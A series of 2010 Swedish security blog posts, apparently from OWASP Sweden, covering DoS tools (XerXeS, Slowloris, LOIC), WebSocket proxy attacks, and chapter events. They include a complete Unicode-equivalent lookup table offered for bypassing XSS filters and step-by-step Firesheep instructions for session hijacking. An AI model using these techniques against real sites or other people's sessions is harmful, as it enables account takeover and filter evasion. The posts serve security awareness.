Han (kan vara hon men hädanefter han) intervjuades av ethicalhack3r i somras. Mycket intressant att höra vad som driver en sådan här vigilant: http://www.ethicalhack3r.co.uk/security/interview-the-jester/

Jesters DoS-verktyg XerXeS
Så hur utför The Jester sina icke-distribuerade DoS-attacker? Jo, han har utvecklat ett verktyg kallat XerXeS. Jag fick tips av Pontus Engblom (tack!) om ett par videoklipp där Jester visar hur han mha XerXeS sänker två sajter han ogillar:

XerXeS DoS-attack från Infosec Island.

Nästa version av XerXeS från Infosec Island.

Att döma av dessa videoklipp så utnyttjar han buggar i webbservrar som Apache och IIS för att med en enda maskin sänka hela sajter.

XerXeS inspirerat av Slowloris?
RSnake och John Kinsella skrev ett verktyg kallat Slowloris som presenterades på Defcon 2009:

Slowloris gör partiella anrop till en webbserver och håller kopplingarna öppna, dvs avslutar inte anropet. Då och då fyller den på med nya HTTP-headrar för att hålla kopplingen öppen. På det viset konsumerar den sockets på servern. Över tid så kommer Slowloris få tag på fler och fler av webbserverns sockets och till slut tömma trådpoolen. Bam! Denial-of-service utan zombies. Pontus misstänker att XerXeS är byggt på Slowloris och jag håller med honom.

The Jester gripen?
Den 30 november så publicerade The Jester en bloggpost där han berättade att polisen har tagit sig in hos honom och beslagtagit hans utrustning och program vilket fanns beskrivet här:
http://www.th3j35t3r.net/2010/11/30/mondays-raid-search-and-seizure/

... men den sidan har tagits bort och går inte att komma åt via Googles cache heller. Oklart varför.

Low Orbit Ion Cannon, LOIC (DDoS för)
Belastningsattackerna för Wikileaks och Julian Assange (såsom de har tolkats i media i alla fall) har varit traditionella i bemärkelsen att de varit distribuerade, så kallade DDoS. Det moderna med dem har dock varit att de byggt på frivilligt deltagande mha systemet Low Orbit Ion Cannon, LOIC:

Du kan ställa in din LOIC att använda hivemind (ungefär flockbeteende) där du upplåter din LOIC till en central administratör och på så sätt kan ingå i distribuerade attacker. Din maskin kommer då att på administratörens begäran skicka en flod HTTP-, TCP- och UDP-anrop till offret och tillsammans blir det för mycket. Gizmondo har en bra genomgång av LOIC.

LOIC finns tillgängligt för Windows, MacOS och Linux. Jag skulle dock råda er att kolla upp vilken version ni laddar ner eftersom det har funnits infekterade varianter ute. Självklart kan LOIC användas för belastnings-/lasttester mot egna sajter så jag ser det inte som ett verktyg skilt från fuzzers och liknande. Men snacket kring LOIC har starka drag av hacktivism. Ett exempel är följande YouTube-reklam för att delta i veckans attacker mot Visa/MasterCard:

(OBS, ovårdat språk och en uppmaning till hacktivism i en känslig fråga)

Vad leder detta till?
Vad leder denna nya tidens hacktivism till? Ptja, det är förstås både en fråga om det öppna, fria, halvanonyma Internet och en fråga om säkerhet. För hur man än ser på Wikileaks och de aktuella DoS-attackerna så har människan gått en lång, krokig väg fram till de rättssamhällen och demokratier som finns i den fysiska världen idag (låt vara alla de skavanker som fortfarande behöver rättas till). Motsvarande rättsäkerhet och demokrati finns ännu inte på nätet. Istället är det en ganska oigenomtränglig kamp mellan stater, storföretag och aktivister. Samtidigt blir mer och mer information tillgänglig på gott och ont (integritet vs information wants to be free).

Personligen hoppas jag åtminstone att få slippa "logga in" på Internet i framtiden.

WebSockets får stryk, stängs av i FF och Safari?

2010-12-07T13:17:00.000+01:00

Det har uppstått problem med HTML5 WebSockets vilket har fått Mozilla och Apple att droppa det tills vidare, åtminstone i default-inställningarna för Firefox och Safari.

Mozilla: "Combining the impact of the risk with the fact that the protocol is going to evolve and invalidate any shipped implementation anyhow, we intend to disable by default our Websockets implementation for Firefox 4.0 via a new configuration item."
http://www.ietf.org/mail-archive/web/hybi/current/msg04986.html

Apple: "Given the security issues identified by the paper from Adam and company, we would even consider disabling WebSocket entirely in future releases until there is a more robust handshake."
http://www.ietf.org/mail-archive/web/hybi/current/msg04782.html

Problemen beskrivs i artikeln "Transparent Proxies: Threat or Menace?"
Sammanfattning: Browsers limit how web sites can access the network. Historically, the web platform has limited web sites to HTTP, but HTTP is inefficient for a number of applications—including chat and multiplayer games—for which raw socket access is more appropriate. Java, Flash Player, and HTML5 provide socket APIs to web sites, but we discover and experimentally verify attacks that exploit the interaction between these APIs and transparent proxies. Our attacks poison the proxy’s cache, causing all clients of the proxy to receive malicious content supplied by the attacker. We then propose a revised version of the HTML5 WebSocket handshake that resists these (and other) attacks.
http://www.adambarth.com/experimental/websocket.pdf

Ny intressant säkerhetsbok

2010-12-01T15:19:00.000+01:00

Nu är den nya boken ...
Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'
... här:

http://www.net-security.org/secworld.php?id=10230 (om boken)
http://www.amazon.com/exec/obidos/ASIN/1597496049/helpnetsecuri-20 (beställning)

Den är på min önskelista för julen och på min att-läsa-lista för mellandagarna. Jag är bekant med författarna och de kan sina grejer.

Phrack #67 ute

2010-11-17T22:52:00.001+01:00

Kulttidningen Phrack Magazine har precis kommit i nytt nummer. Förra numret kom för 1,5 år sen. Håll till godo, #67:
http://phrack.org/issues.html?issue=67

DZone presenterar OWASP

2010-10-31T22:08:00.001+01:00

Nu presenteras OWASP och OWASP Top 10 i DZones Javalobby. Oerhört kul att vi når ut till utvecklare! Nu väntar jag bara på att senaste Top 10 presenteras på MSDN också :P.

Testa säkerheten i din webbläsare

2010-10-30T12:19:00.000+02:00

Säkerheten i webbapplikationer är som bekant helt beroende av säkerheten i webbläsaren, både läsarens stöd för säkerhetsfunktioner och läsarens avsaknad av säkerhetsbuggar.

Det finns ett intressant testverktyg på nätet – Browserscope Security Test. Där kan du enkelt testa hur väl din webbläsare stödjer säkerhetsfunktioner såsom Strict Transport Security och om den skyddar mot kända hack såsom JSON hijacking.

Det finns också en sammanfattning av hur olika webbläsare klarar sig:

Bäst just nu är Chrome 6 som godkänt på 15 av 16 test.
Firefox 3.6 får bara 10 av 16 men med den senaste versionen av NoScript så når Firefox 14 av 16.
Safari 5 får 13 av 16.
IE 8 får 10 av 16 men IE 9-betan når 12 av 16.
Opera får 9 av 16.

/John Wilander, chapter co-leader

Lura filtret med Unicode-ekvivalenter

2010-10-29T17:31:00.003+02:00

Gareth Hayes, en av världens vassaste på JavaScript-hacking publicerade idag en uppslagningstabell för Unicode-ekvivalenter i JavaScript. Den kan användas för att gå förbi filter, för att skapa icke-alfanumerisk (obfuskerad) JavaScript och kanske till och med för homograf-attacker. Hela tabellen som JavaScript-struktur nedan – bara att börja fuzza.

Kolla också hans översättningsverktyg Hackvertor:
http://hackvertor.co.uk/hvurl/1o

var lookup={
"A":["00C0","00C1","00C2","00C3","00C4","00C5","0100","0102","0104","01CD","01DE","01E0","01FA","0200","0202","0226","023A","0386","0410","04D0","04D2","04D4","1E00","1EA0","1EA2","1EA4","1EA6","1EA8","1EAA","1EAC","1EAE","1EB0","1EB2","1EB4","1EB6","1F08","1F09","1F0A","1F0B","1F0C","1F0D","1F0E","1F0F","2C2D","2C6F","A656","FF21","1D400","1D434","1D468","1D49C","1D4D0","1D504","1D538","1D56C","1D5A0","1D5D4","1D608","1D63C","1D670","1D6E2","1D71C","1D726","1D756","1D790"],
"C":["00C7","0106","0108","010A","010C","0187","023B","1E08","2102","A73E","FF23","1D402","1D436","1D46A","1D49E","1D4D2","1D56E","1D5A2","1D5D6","1D60A","1D63E","1D672"],
"E":["00C8","00C9","00CA","00CB","0112","0114","0116","0118","011A","018E","0204","0206","0228","0246","0388","042D","0464","04EC","1E14","1E16","1E18","1E1A","1E1C","1EB8","1EBA","1EBC","1EBE","1EC0","1EC2","1EC4","1EC6","1F18","1F19","1F1A","1F1B","1F1C","1F1D","2130","FF25","1D404","1D438","1D46C","1D4D4","1D508","1D53C","1D570","1D5A4","1D5D8","1D60C","1D640","1D674","1D6E8","1D720","1D72E","1D75A","1D768","1D794","1D7A2"],
"I":["00CC","00CD","00CE","00CF","0128","012A","012C","012E","0130","0132","0197","01CF","0208","020A","0406","040D","0418","04E2","04E4","1E2C","1E2E","1EC8","1ECA","2110","2C0B","FF29","1D408","1D43C","1D470","1D4D8","1D540","1D574","1D5A8","1D5DC","1D610","1D644","1D678","1D724","1D75E","1D798"],
"D":["00D0","010E","0110","0189","018A","018B","1E0A","1E0C","1E0E","1E10","1E12","A779","FF24","1D403","1D437","1D46B","1D49F","1D4D3","1D507","1D53B","1D56F","1D5A3","1D5D7","1D60B","1D63F","1D673","1D6E5"],
"N":["00D1","0143","0145","0147","014A","019D","01F8","0220","1E44","1E46","1E48","1E4A","2115","A790","A7A4","FF2E","1D40D","1D441","1D475","1D4A9","1D4DD","1D511","1D579","1D5AD","1D5E1","1D615","1D649","1D67D","1D728","1D72B","1D762","1D765","1D79C","1D79F"],
"O":["00D2","00D3","00D4","00D5","00D6","00D8","014C","014E","0150","019F","01A0","01D1","01EA","01EC","01FE","020C","020E","022A","022C","022E","0230","041E","04E6","04E8","04EA","1E4C","1E4E","1E50","1E52","1ECC","1ECE","1ED0","1ED2","1ED4","1ED6","1ED8","1EDA","1EDC","1EDE","1EE0","1EE2","2C9E","A668","A66A","A66C","A74A","A74C","FF2F","1D40E","1D442","1D476","1D4AA","1D4DE","1D512","1D546","1D57A","1D5AE","1D5E2","1D616","1D64A","1D67E","1D6C0","1D723","1D72A","1D72D","1D75D","1D764","1D766","1D797","1D79E","1D7A0"],
"U":["00D9","00DA","00DB","00DC","0168","016A","016C","016E","0170","0172","01AF","01D3","01D5","01D7","01D9","01DB","0214","0216","0244","0423","04AE","04B0","04EE","04F0","04F2","1E72","1E74","1E76","1E78","1E7A","1EE4","1EE6","1EE8","1EEA","1EEC","1EEE","1EF0","FF35","1D414","1D448","1D47C","1D4B0","1D4E4","1D518","1D54C","1D580","1D5B4","1D5E8","1D61C","1D650","1D684"],
"Y":["00DD","0176","0178","01B3","0232","024E","1E8E","1EF2","1EF4","1EF6","1EF8","1EFE","FF39","1D418","1D44C","1D480","1D4B4","1D4E8","1D51C","1D550","1D584","1D5B8","1D5EC","1D620","1D654","1D688","1D6F6","1D730","1D76A","1D7A4"],
"G":["011C","011E","0120","0122","0193","01E4","01E6","01F4","1E20","A77D","A77E","A7A0","FF27","1D406","1D43A","1D46E","1D4A2","1D4D6","1D50A","1D53E","1D572","1D5A6","1D5DA","1D60E","1D642","1D676","1D6E4"],
"H":["0124","0126","021E","0389","1E22","1E24","1E26","1E28","1E2A","1F28","1F29","210B","210D","2C67","A78D","FF28","1D407","1D43B","1D46F","1D4D7","1D573","1D5A7","1D5DB","1D60F","1D643","1D677","1D722","1D75C","1D796"],
"J":["0134","0248","FF2A","1D409","1D43D","1D471","1D4A5","1D4D9","1D50D","1D541","1D575","1D5A9","1D5DD","1D611","1D645","1D679"],
"K":["0136","0198","01E8","1E30","1E32","1E34","2C69","A740","A742","A744","A7A2","FF2B","1D40A","1D43E","1D472","1D4A6","1D4DA","1D50E","1D542","1D576","1D5AA","1D5DE","1D612","1D646","1D67A","1D725","1D75F","1D799"],
"L":["0139","013B","013D","013F","0141","023D","1E36","1E38","1E3A","1E3C","1EFA","2112","2C60","2C62","2CD0","A746","A748","A780","FF2C","1D40B","1D43F","1D473","1D4DB","1D50F","1D543","1D577","1D5AB","1D5DF","1D613","1D647","1D67B","1D760"],
"R":["0154","0156","0158","0210","0212","024C","1E58","1E5A","1E5C","1E5E","211B","2C64","A75A","A782","A7A6","FF32","1D411","1D445","1D479","1D4E1","1D57D","1D5B1","1D5E5","1D619","1D64D","1D681"],
"S":["015A","015C","015E","0160","0218","1E60","1E62","1E64","1E66","1E68","2C7E","A784","A7A8","FF33","1D412","1D446","1D47A","1D4AE","1D4E2","1D516","1D54A","1D57E","1D5B2","1D5E6","1D61A","1D64E","1D682"],
"T":["0162","0164","0166","01AC","01AE","021A","023E","1E6A","1E6C","1E6E","1E70","A786","FF34","1D413","1D447","1D47B","1D4AF","1D4E3","1D517","1D54B","1D57F","1D5B3","1D5E7","1D61B","1D64F","1D683","1D6F5","1D72F","1D769","1D7A3"],
"W":["0174","1E80","1E82","1E84","1E86","1E88","2C72","FF37","1D416","1D44A","1D47E","1D4B2","1D4E6","1D51A","1D54E","1D582","1D5B6","1D5EA","1D61E","1D652","1D686"],
"Z":["0179","017B","017D","01B5","0224","1E90","1E92","1E94","2C6B","2C7F","A762","FF3A","1D419","1D44D","1D481","1D4B5","1D4E9","1D585","1D5B9","1D5ED","1D621","1D655","1D689","1D6E7","1D721","1D75B","1D795"],
"B":["0181","0182","0243","1E02","1E04","1E06","212C","FF22","1D401","1D435","1D469","1D4D1","1D505","1D539","1D56D","1D5A1","1D5D5","1D609","1D63D","1D671","1D6E3","1D71D","1D757","1D791"],
"F":["0191","1E1E","2131","2132","A77B","FF26","1D405","1D439","1D46D","1D4D5","1D509","1D53D","1D571","1D5A5","1D5D9","1D60D","1D641","1D675","1D7CA"],
"M":["019C","1E3E","1E40","1E42","2133","2C6E","FF2D","1D40C","1D440","1D474","1D4DC","1D510","1D544","1D578","1D5AC","1D5E0","1D614","1D648","1D67C","1D727","1D761","1D79B"],
"P":["01A4","1E54","1E56","2119","2C63","A750","A752","A754","FF30","1D40F","1D443","1D477","1D4AB","1D4DF","1D513","1D57B","1D5AF","1D5E3","1D617","1D64B","1D67F","1D72C","1D767","1D7A1"],
"V":["01B2","0245","1E7C","1E7E","1EFC","A75E","FF36","1D415","1D449","1D47D","1D4B1","1D4E5","1D519","1D54D","1D581","1D5B5","1D5E9","1D61D","1D651","1D685"],
"X":["1E8A","1E8C","FF38","1D417","1D44B","1D47F","1D4B3","1D4E7","1D51B","1D54F","1D583","1D5B7","1D5EB","1D61F","1D653","1D687","1D6F8","1D732","1D76C","1D7A6"],
"Q":["211A","A756","A758","FF31","1D410","1D444","1D478","1D4AC","1D4E0","1D514","1D57C","1D5B0","1D5E4","1D618","1D64C","1D680"],
0:["0030","0660","06F0","07C0","0966","09E6","0A66","0AE6","0B66","0BE6","0C66","0CE6","0D66","0E50","0ED0","0F20","1040","1090","17E0","1810","1946","19D0","1A80","1A90","1B50","1BB0","1C40","1C50","A620","A8D0","A900","A9D0","AA50","ABF0","FF10","104A0","11066","1D7CE","1D7D8","1D7E2","1D7EC","1D7F6"],
1:["0031","0661","06F1","07C1","0967","09E7","0A67","0AE7","0B67","0BE7","0C67","0CE7","0D67","0E51","0ED1","0F21","1041","1091","17E1","1811","1947","19D1","1A81","1A91","1B51","1BB1","1C41","1C51","A621","A8D1","A901","A9D1","AA51","ABF1","FF11","104A1","11067","1D7CF","1D7D9","1D7E3","1D7ED","1D7F7"],
2:["0032","0662","06F2","07C2","0968","09E8","0A68","0AE8","0B68","0BE8","0C68","0CE8","0D68","0E52","0ED2","0F22","1042","1092","17E2","1812","1948","19D2","1A82","1A92","1B52","1BB2","1C42","1C52","A622","A8D2","A902","A9D2","AA52","ABF2","FF12","104A2","11068","1D7D0","1D7DA","1D7E4","1D7EE","1D7F8"],
3:["0033","0663","06F3","07C3","0969","09E9","0A69","0AE9","0B69","0BE9","0C69","0CE9","0D69","0E53","0ED3","0F23","1043","1093","17E3","1813","1949","19D3","1A83","1A93","1B53","1BB3","1C43","1C53","A623","A8D3","A903","A9D3","AA53","ABF3","FF13","104A3","11069","1D7D1","1D7DB","1D7E5","1D7EF","1D7F9"],
4:["0034","0664","06F4","07C4","096A","09EA","0A6A","0AEA","0B6A","0BEA","0C6A","0CEA","0D6A","0E54","0ED4","0F24","1044","1094","17E4","1814","194A","19D4","1A84","1A94","1B54","1BB4","1C44","1C54","A624","A8D4","A904","A9D4","AA54","ABF4","FF14","104A4","1106A","1D7D2","1D7DC","1D7E6","1D7F0","1D7FA"],
5:["0035","0665","06F5","07C5","096B","09EB","0A6B","0AEB","0B6B","0BEB","0C6B","0CEB","0D6B","0E55","0ED5","0F25","1045","1095","17E5","1815","194B","19D5","1A85","1A95","1B55","1BB5","1C45","1C55","A625","A8D5","A905","A9D5","AA55","ABF5","FF15","104A5","1106B","1D7D3","1D7DD","1D7E7","1D7F1","1D7FB"],
6:["0036","0666","06F6","07C6","096C","09EC","0A6C","0AEC","0B6C","0BEC","0C6C","0CEC","0D6C","0E56","0ED6","0F26","1046","1096","17E6","1816","194C","19D6","1A86","1A96","1B56","1BB6","1C46","1C56","A626","A8D6","A906","A9D6","AA56","ABF6","FF16","104A6","1106C","1D7D4","1D7DE","1D7E8","1D7F2","1D7FC"],
7:["0037","0667","06F7","07C7","096D","09ED","0A6D","0AED","0B6D","0BED","0C6D","0CED","0D6D","0E57","0ED7","0F27","1047","1097","17E7","1817","194D","19D7","1A87","1A97","1B57","1BB7","1C47","1C57","A627","A8D7","A907","A9D7","AA57","ABF7","FF17","104A7","1106D","1D7D5","1D7DF","1D7E9","1D7F3","1D7FD"],
8:["0038","0668","06F8","07C8","096E","09EE","0A6E","0AEE","0B6E","0BEE","0C6E","0CEE","0D6E","0E58","0ED8","0F28","1048","1098","17E8","1818","194E","19D8","1A88","1A98","1B58","1BB8","1C48","1C58","A628","A8D8","A908","A9D8","AA58","ABF8","FF18","104A8","1106E","1D7D6","1D7E0","1D7EA","1D7F4","1D7FE"],
9:["0039","0669","06F9","07C9","096F","09EF","0A6F","0AEF","0B6F","0BEF","0C6F","0CEF","0D6F","0E59","0ED9","0F29","1049","1099","17E9","1819","194F","19D9","1A89","1A99","1B59","1BB9","1C49","1C59","A629","A8D9","A909","A9D9","AA59","ABF9","FF19","104A9","1106F","1D7D7","1D7E1","1D7EB","1D7F5","1D7FF"],

"-":["002D","058A","05BE","1400","1806","2010","2011","2012","2013","2014","2015","FE58","FE63","FF0D"],
"|":["FE31","FE32"],
"'":["2019","201A"],
'"':["201D","00BB","301E","301F","201E","FF02"],
">":["203A","2992","2994","3009","300B"],
"]":["2046","27E7","298C","298E","2990","301B","FF3D"],
")":["208E","207E","2769","276B","2986","FE5A","FF09","FF60"],
"}":["2775"],
"(":["207D","208D","2768","276A","2985","FD3E","FE59","FF08","FF5F"],
"[":["2045","27E6","298B","298D","298F","301A","FF3B"],
"<":["2329","276C","276E","2770","27E8","27EA","2991","29FC","3008"],
"{":["2774","2983","FE5B","FF5B"],
"!":["00A1","055C","07F9","203C","2048"],
"#":["FE5F","FF03"],
"%":["066A","FE6A","FF05"],
"&":["FE60","FF06"],
"*":["204E","2051","FE61","FF0A"],
",":["055D","060C","07F8","1363","1802","1808","3001","A60D","FE10","FE11","FE50","FE51","FF0C","FF64"],
".":["0589","06D4","0701","0702","1362","166E","1803","1809","3002","A60E","FE12","FE52","FF0E","FF61"],
"/":["FF0F"],
":":["0703","0704","0706","0707","0708","0709","1364","1365","1366","1804","204F","205D","FE13","FE55","FF1A"],
"\\":["FE68","FF3C"]
}

Firesheep, så funkar det

2010-10-26T15:53:00.005+02:00

Jag blev idag intervjuad av TV4-nyheterna om cookie-sniffaren Firesheep, en plug-in till Firefox som sniffar upp sessionskakor för populära tjänster på det nätverk man är kopplad till. Intervjun var med som ett inslag i 19-nyheterna också.

Installera och testa Firesheep
Det var lite trassel att få Firesheep att funka så jag tänkte jag postar det här för er som vill testa. Observera att jag inte går i god för programmet. Det kan visa sig vara en elak bakdörr.

Se till att du har Firefox 3.6.* och minst 3.6.10, t ex 3.6.11. Inte 4 beta om du inte vill experimentera.
Ladda hem Firesheep från GitHub.
Öppna xpi-filen med Firefox och installera.
Starta om Firefox om den kräver det.
Nu ska du ha en Firesheep-vy som en kolumn i vänsterkanten. Om inte så Visa -> Sidofält -> Firesheep.
Under Inställningar -> Sekretess: Stäng av ev privat surfningsläge, tillåt cookies och tilllåt tredjeparts-cookies.
Slå på Firesheep med knappen "Start Capturing".
Öppna en annan webbläsare, t ex Chrome.
Logga in på Facebook, Twitter eller Flickr i Chrome.
Kolla Firesheep-vyn i Firefox. Där ska dina olika konton ha dykt upp.
Dubbelklicka på något av dina konton i Firesheep och vips så har du genomfört en session hijacking.

Om du nu suttit på ett öppet trådlöst nät så hade alla andra aktiva sessioner dykt upp i din Firesheep-kolumn. Notera att det är olagligt att utnyttja andras sessioner utan tillstånd. Att avlyssna nätverket och titta på listan är dock helt OK.

Förkonfigurerade tjänster som Firesheep sniffar

Följande tjänster/domäner är förkonfigurerade i Firesheep:

Amazon.com
Basecamp
bit.ly
Cisco
CNET
Dropbox
Enom
Evernote
Facebook
Flickr
Foursquare
GitHub
Google (dock ej GMail numer)
Gowalla
Hacker News
Harvest
Windows Live
New York Times
Pivotal Tracker
ToorCon: San Diego
Slicehost SliceManager
tumblr.com
Twitter
Wordpress
Yahoo
Yelp

Den underliggande sårbarheten
Vad är då sårbarheten? Jo, tjänster såsom Facebook krypterar bara trafiken vid inloggning (ditt lösenord är alltså skyddat). Efter det så går Facebook tillbaka till okrypterad trafik. Din sessions-cookie är det som Facebook identifierar dig med efter inloggning och den skickas i klartext vid varje anrop till Facebook. Det är den trafiken som Firesheep avlyssnar och plockar upp sessions-info från.

Med din sessions-cookie i min webbläsare så är jag lika inloggad som du är.

PS.
Eftersom det valsat runt så mycket felaktig information så vill jag poängtera två saker:

Firesheep är en plugin till Firefox, dvs ett tilläggsprogram. Det hela handlar alltså inte om något säkerhetshål i Firefox. Det vore lika dumt som att påstå att Windows har problem för att någon skrivit en nätverksskanner som körs på Windows.
Offret kan surfa med valfri webbläsare – Safari, Internet Explorer, Opera, Firefox, Chrome och så vidare. Session hijacking med hjälp av cookies är inte begränsat till en viss webbläsare.

DS.

/John Wilander, chapter co-leader

500 medlemmar, ny organisation

2010-10-18T20:43:00.000+02:00

OWASP Sweden har nu 500 medlemmar. Vilken kraft!

I samband med det och det faktum att vi faktiskt blivit tre år gamla så kommer vi omorganisera lite.

Tre ledare
Till att börja med så kommer ledarskapet bli tredelat:

John Wilander, co-leader
Mattias Bergling, co-leader
Robert Malmgren, co-leader

Mattias och Robert har varit med och drivit chaptret sen starten och Mattias har varit budgetansvarig för AppSec-konferensen i somras. De kommer börja blogga här tillsammans med mig så vi kommer försöka skriva under våra inlägg.

Medlemmar kan söka till ledningsrådet

Sen vill vi också förnya ledningsrådet "OWASP Sweden Board". Därför kommer inom kort en inbjudan skickas ut till alla medlemmar där man får höra av sig med intresse att vara med. Vi vill vara en välkomnande och öppen community och jag hoppas verkligen att det finns en eller två nya som vi kan ta med i ledningsrådet.

Eder ...

/John Wilander, chapter co-leader

IE eller FF om banken får välja

2010-10-03T16:49:00.004+02:00

Säkerheten på webben är starkt beroende av säkerheten i våra webbläsare. Bankerna borde verkligen push:a sina kunder att uppgradera och uppdatera.

Glädjande nog är det bara en av de större bankerna, nämligen Handelsbanken, som fortfarande officiellt stödjer Internet Explorer 6. Förutom Microsofts webbläsare så verkar det vara Firefox som gäller, även på Mac.

För Linuxfolket ser det riktigt skralt ut. En eloge till Skandiabanken där. Å andra sidan skriver Skandiabanken inget om Windows 7 så man undrar hur ofta sidorna uppdateras.

	Handelsb.	Nordea	SEB	Skandiab.	Swedb.
Windows	IE 6-8, FF 3.5.2+	IE 7-8, FF 3.5	IE 8, FF 3.6	IE 7-8, FF 3.5-3.6	IE 7+, FF 3+, Chrome 4+
Mac OS	FF 3.5.2+	FF 3.5, Safari 4	FF 3.6, Safari 4	FF 3.5-3.6	FF 3+, Safari 3+, Chrome 4+
Linux (Ubuntu)	Inte med e-leg	Ingen info	Ingen info	FF 3.5-3.6	Ingen info

Länkar:

Handelsbankens krav

Nordeas krav

SEBs rekommendationer

Skandiabankens stöd

Swedbanks rekommendationer

Mozillaprojekt om CA-cert-policy

2010-09-24T12:40:00.002+02:00

I kölvattnet av alla SSL-/PKI-skandaler kring hantering av CA-cert (bloggpost 1, bloggpost 2, bloggpost 3) så har nu Mozilla startat ett projekt för att uppdatera sin certifikatspolicy för Firefox, Thunderbird med mera. Mozilla har som bekant en egen lista på godkända CA-cert och förlitar sig inte på operativsystemet som andra webbläsare. Det här kan vara chansen att göra något åt ett av de stora problemen med SSL.

Jag har gått med på mejlinglistan där det hela kommer att hanteras. Gör det ni med! Notera att Mailman i vanlig ordning skickar ut ditt valda lösenord i klartext i välkomstmejlet så använd ett slasklösen.

https://lists.mozilla.org/listinfo/dev-security-policy

Föredrar man newsgroups så finns det med:

http://mozilla-xp.com/mozilla.dev.security.policy/

Twitter fortfarande sårbart

2010-09-24T12:37:00.002+02:00

Jag vet inte om ni följer utvecklingen men Twitters XSS-fix var fel. Sen fixade de igen. Och den fixen var fel. Sen fixade de igen och idag kom folk fram till att det var fel på den fixen också.

Delar av historien här:

http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html

Alltså ... överge webbgränssnittet och ladda hem en klient tills vidare. T ex:

http://www.tweetdeck.com/

http://iconfactory.com/software/twitterrific

Samy Kamkar i Sthlm 4/10

2010-09-08T21:37:00.002+02:00

Vi har bjudit in Samy Kamkar att hålla föredrag för OWASP Sweden måndag 4 oktober.

Samy gav cross-site scripting ett ansikte när han 2005 sänkte MySpace. Inom loppet av timmar infekterades miljoner MySpace-användares profiler med Samys skript vilket gjorde det till ett av världens snabbast spridda maskar/virus. För det fick han en treårig villkorlig dom och samhällstjänst.

Numer är Samy noga med att hålla sig på rätt sida om lagen men är fortfarande grymt duktig på att hitta säkerhetsproblem och presentera dem. Den 4 oktober har han lovat att både berätta hela historien bakom MySpace-masken och köra sin färska presentation "How I Met Your Girlfriend" från sommarens Black Hat-konferens i Las Vegas. Den senare innehåller:

phpwn – hacket mot PHP-sessioner
NAT Pinning
Geolocation via XSS
HTML5 anti-waf XSS

Föredraget är kostnadsfritt och öppet för alla medlemmar i OWASP Sweden. Medlem blir man genom att gå med på mejlinglistan. Anmäler sig till föredraget gör man på Eventbrite.

Missa inte det här föredraget. Vi ses där!

#CmtyHack II är över

2010-09-05T19:20:00.011+02:00

Community Hack II, gemensamt arrangerat av OWASP Sweden och FOSS Sthlm är över. Strax över 50 anmälda, sponsrad frukost, läsk/snacks och bio. Till det behöver man bara lägga skarvdosor och datorer för en trevlig helg.

Magnus och Ians workshop om låsdyrkning var mycket uppskattad. De hade med sig en rejäl uppsättning dyrkar, modifierade nycklar, lås och verktyg.

Större delen av helgen var förstås tillägnad fritt hackande på var och ens egna projekt. Folk labbade med DNSSec, mockramverk i Python, att försöka köra Linux på PS3, att utfärda e-leg på Linux, gå igenom challenges på hackthissite.org, buggfixa befintlig foss-mjukvara och så vidare.

Det fanns en hel del intressanta projekt att spana in och människor att umgås med. En del hade tagit med mer hårdvara än andra ...

Utsikten var det som sagt inget fel på heller ...

Arrangörerna (John, Daniel och Michael) vill tacka alla som kom, KTH för lokalen och allt det praktiska samt Spotify, Omegapoint och DQ Consulting för sponsringen.

Vi siktar på att köra Community Hack III i december. Stay tuned!

Community Hack II i helgen

2010-09-01T12:33:00.008+02:00

I helgen så genomför OWASP Sweden och FOSS Sthlm gemensamt Community Hack II. Vi kommer hålla till i lokaler på KTH vid Valhallavägen. Bland projekten och aktiviteterna finns:

Låsdyrkning med Ian Vitek och Magnus Bråding (kl 9-11 lördag)
PDF Signature Verification i fria pdf-läsare
Applikations- och nätverksfuzzing
Bygga DNSSec

Vi kör kl 9-18 både lördag och söndag. Anmälan är fortfarande öppen på Eventbrite (anmäl dig senast fredag kl 12). Just nu är vi ca 35 pers som kommer.

Lokalerna erbjuder arbetsplatser, internetaccess, fåtöljhörna, projektor, ljudanläggning och till och med fin utsikt.

Vi har också tillgång till pentryt med matbord, kylskåp, kaffebryggare, mikro med mera. Spotify sponsrar med läsk och snacks hela helgen och DQ Consulting bjuder på frukost båda dagarna!

Lördag kväll går alla som vill på bio. Vi tänkte se filmen Salt och Omegapoint sponsrar med biljetter! Om ni ska med så måste ni vara anmälda senast onsdag 1/9 kl 18 (dvs idag). Sen bokar vi biljetter.

Säker interaktionsdesign

2010-08-24T22:33:00.003+02:00

Via Twitter så snubblade jag över en tio-i-topp-lista på principer för säker interaktionsdesign.

Såna listor tenderar att bli både krystade och svävande men jag har haft ett intresse för hur interaktionsdesign påverkar säkerhet ända sen jag tillsammans med Viiveke Fåk införde profilen "Säkra, interaktiva datorsystem" på D- och IT-programmen i Linköping.

Därför gav jag mig i kast med att beskriva dessa tio principer på svenska. En grannlaga uppgift. Men det finns allt ett antal sanningskorn i det hela!

Path of Least Resistance

Se till att det bekvämaste sättet att arbeta med applikationen kräver minsta möjliga rättigheter.

Active Authorization

Se till att behörigheter bara kan delas ut med användarens aktiva samtycke.

Revocability

Erbjud användaren möjligheter att begränsa andras behörigheter till hans/hennes resurser.

Visibility

Se till att användaren känner till andras behörigheter till de egna resurserna, särskilt behörigheter som påverkar hans/hennes beslut.

Self-Awareness

Se till att användaren känner till sina egna behörigheter att använda resurser.

Trusted Path

Skydda användarens kontakt med (automatiska) system som ändrar behörigheter i hans/hennes ställe.

Expressiveness

Se till att användaren kan uttrycka säkerhetsregler i ord och termer som är anpassade till den typ av arbetsuppgifter som utförs i systemet.

Relevant Boundaries

Se till att distinktioner och begränsningar är relevanta för den typ av arbetsuppgifter som utförs i systemet.

Identifiability

Presentera systemets olika resurser och funktioner på ett särskiljande och sanningsenligt sätt.

Foresight

Tydliggör konsekvenserna av beslut som användaren förväntas ta i användandet av systemet.

Originalet och referenser hittar ni här.

Säkrare SSL med Strict-Transport-Security

2010-08-21T22:58:00.006+02:00

En riktig säkerhetssnackis har varit Strict-Transport-Security (STS) som motmedel mot ett flertal av de man-in-the-middle-attacker som presenterats mot SSL/HTTPS. Nu var det till och med tema i veckans Steve Gibson-podcast "Security Now!" så det är hög tid att skriva om det här.

Användarna accepterar varningar

Vem har inte sett sin webbläsare varna för ett felaktigt SSL-cert? Och vem har inte klickat vidare i övertygelse om att det ligger slarv bakom, dvs att driften inte köpt och driftsatt nytt cert i tid?

